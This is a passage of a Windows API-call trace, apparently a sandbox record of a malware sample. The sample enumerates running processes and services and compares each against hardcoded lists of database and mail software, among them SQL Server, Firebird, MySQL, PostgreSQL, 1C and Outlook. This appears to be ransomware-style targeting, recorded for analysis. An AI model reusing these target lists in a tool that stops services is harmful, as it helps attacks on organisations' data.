lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0208.703] lstrlenW (lpString="reader_sl.exe") returned 13 [0208.703] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0208.704] lstrlenW (lpString="AdobeARM.exe") returned 12 [0208.704] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0208.705] lstrlenW (lpString="conhost.exe") returned 11 [0208.706] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0208.707] lstrlenW (lpString="mode.com") returned 8 [0208.707] Process32NextW (in: hSnapshot=0x294, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0208.709] CloseHandle (hObject=0x294) returned 1 [0208.709] Sleep (dwMilliseconds=0x1f4) [0209.311] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x689078 [0209.552] EnumServicesStatusExW (in: hSCManager=0x689078, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0209.604] GetLastError () returned 0xea [0209.604] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa08) returned 0x689b00 [0209.604] EnumServicesStatusExW (in: hSCManager=0x689078, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x689b00, cbBufSize=0xa08, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x689b00, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0209.605] CloseServiceHandle (hSCObject=0x689078) returned 1 [0209.606] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0209.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0209.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0209.606] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0209.606] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0209.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0209.606] lstrlenW (lpString="AudioSrv") returned 8 [0209.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0209.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0209.607] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0209.607] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0209.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0209.607] lstrlenW (lpString="BFE") returned 3 [0209.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0209.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0209.607] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0209.607] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0209.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0209.607] lstrlenW (lpString="CscService") returned 10 [0209.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0209.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0209.607] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0209.607] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0209.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0209.607] lstrlenW (lpString="DcomLaunch") returned 10 [0209.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0209.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0209.608] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0209.608] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0209.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0209.608] lstrlenW (lpString="Dhcp") returned 4 [0209.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0209.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0209.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0209.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0209.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0209.608] lstrlenW (lpString="Dnscache") returned 8 [0209.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0209.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0209.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0209.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0209.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0209.609] lstrlenW (lpString="eventlog") returned 8 [0209.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0209.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0209.609] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0209.609] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0209.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0209.609] lstrlenW (lpString="EventSystem") returned 11 [0209.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0209.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0209.609] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0209.609] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0209.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0209.610] lstrlenW (lpString="gpsvc") returned 5 [0209.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0209.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0209.610] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0209.610] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0209.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0209.610] lstrlenW (lpString="lmhosts") returned 7 [0209.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0209.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0209.611] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0209.611] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0209.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0209.611] lstrlenW (lpString="MMCSS") returned 5 [0209.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0209.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0209.611] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0209.611] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0209.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0209.612] lstrlenW (lpString="nsi") returned 3 [0209.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0209.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0209.612] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0209.612] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0209.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0209.612] lstrlenW (lpString="PlugPlay") returned 8 [0209.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0209.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0209.612] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0209.612] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0209.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0209.613] lstrlenW (lpString="Power") returned 5 [0209.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0209.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0209.613] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0209.613] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0209.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0209.613] lstrlenW (lpString="ProfSvc") returned 7 [0209.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0209.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0209.613] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0209.613] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0209.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0209.613] lstrlenW (lpString="RpcEptMapper") returned 12 [0209.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0209.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0209.614] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0209.614] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0209.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0209.614] lstrlenW (lpString="RpcSs") returned 5 [0209.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0209.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0209.614] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0209.614] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0209.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0209.614] lstrlenW (lpString="SamSs") returned 5 [0209.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0209.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0209.614] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0209.614] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0209.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0209.614] lstrlenW (lpString="Schedule") returned 8 [0209.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0209.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0209.615] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0209.615] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0209.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0209.615] lstrlenW (lpString="SENS") returned 4 [0209.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0209.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0209.615] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0209.615] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0209.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0209.615] lstrlenW (lpString="ShellHWDetection") returned 16 [0209.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0209.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0209.615] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0209.616] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0209.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0209.616] lstrlenW (lpString="Spooler") returned 7 [0209.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0209.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0209.616] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0209.616] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0209.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0209.616] lstrlenW (lpString="Themes") returned 6 [0209.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0209.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0209.616] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0209.617] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0209.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0209.617] lstrlenW (lpString="UxSms") returned 5 [0209.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0209.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0209.617] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0209.617] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0209.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0209.617] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x689b00 | out: hHeap=0x590000) returned 1 [0209.617] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d0 [0209.622] Process32FirstW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.623] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0209.624] lstrlenW (lpString="System") returned 6 [0209.624] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0209.624] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0209.624] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0209.625] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0209.625] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0209.625] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0209.625] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0209.625] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0209.626] lstrlenW (lpString="smss.exe") returned 8 [0209.626] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0209.626] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0209.626] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0209.627] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0209.627] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0209.627] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0209.627] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0209.627] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.628] lstrlenW (lpString="csrss.exe") returned 9 [0209.628] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0209.628] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0209.628] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0209.628] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0209.628] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0209.628] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0209.628] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0209.628] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0209.629] lstrlenW (lpString="wininit.exe") returned 11 [0209.629] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0209.629] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0209.629] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0209.629] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0209.629] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0209.630] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0209.630] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0209.630] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.631] lstrlenW (lpString="csrss.exe") returned 9 [0209.631] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0209.631] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0209.631] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0209.631] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0209.631] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0209.631] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0209.631] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0209.631] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0209.632] lstrlenW (lpString="winlogon.exe") returned 12 [0209.632] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0209.632] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0209.632] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0209.633] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0209.633] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0209.633] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0209.633] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0209.633] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0209.634] lstrlenW (lpString="services.exe") returned 12 [0209.634] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0209.634] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0209.634] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0209.634] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0209.634] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0209.634] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0209.634] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0209.634] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0209.635] lstrlenW (lpString="lsass.exe") returned 9 [0209.636] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0209.636] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0209.636] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0209.636] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0209.636] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0209.636] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0209.636] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0209.636] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0209.637] lstrlenW (lpString="lsm.exe") returned 7 [0209.637] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0209.637] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0209.637] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0209.637] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0209.637] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0209.637] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0209.638] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0209.638] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.638] lstrlenW (lpString="svchost.exe") returned 11 [0209.639] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0209.639] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0209.639] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0209.639] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0209.639] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0209.639] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0209.639] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0209.639] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.640] lstrlenW (lpString="svchost.exe") returned 11 [0209.640] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0209.640] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0209.640] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0209.640] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0209.640] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0209.640] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0209.641] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0209.641] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.946] lstrlenW (lpString="svchost.exe") returned 11 [0209.947] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0209.947] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0209.947] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0209.947] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0209.947] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0209.947] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0209.947] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0209.948] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.950] lstrlenW (lpString="svchost.exe") returned 11 [0209.950] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0209.950] lstrcmpiW 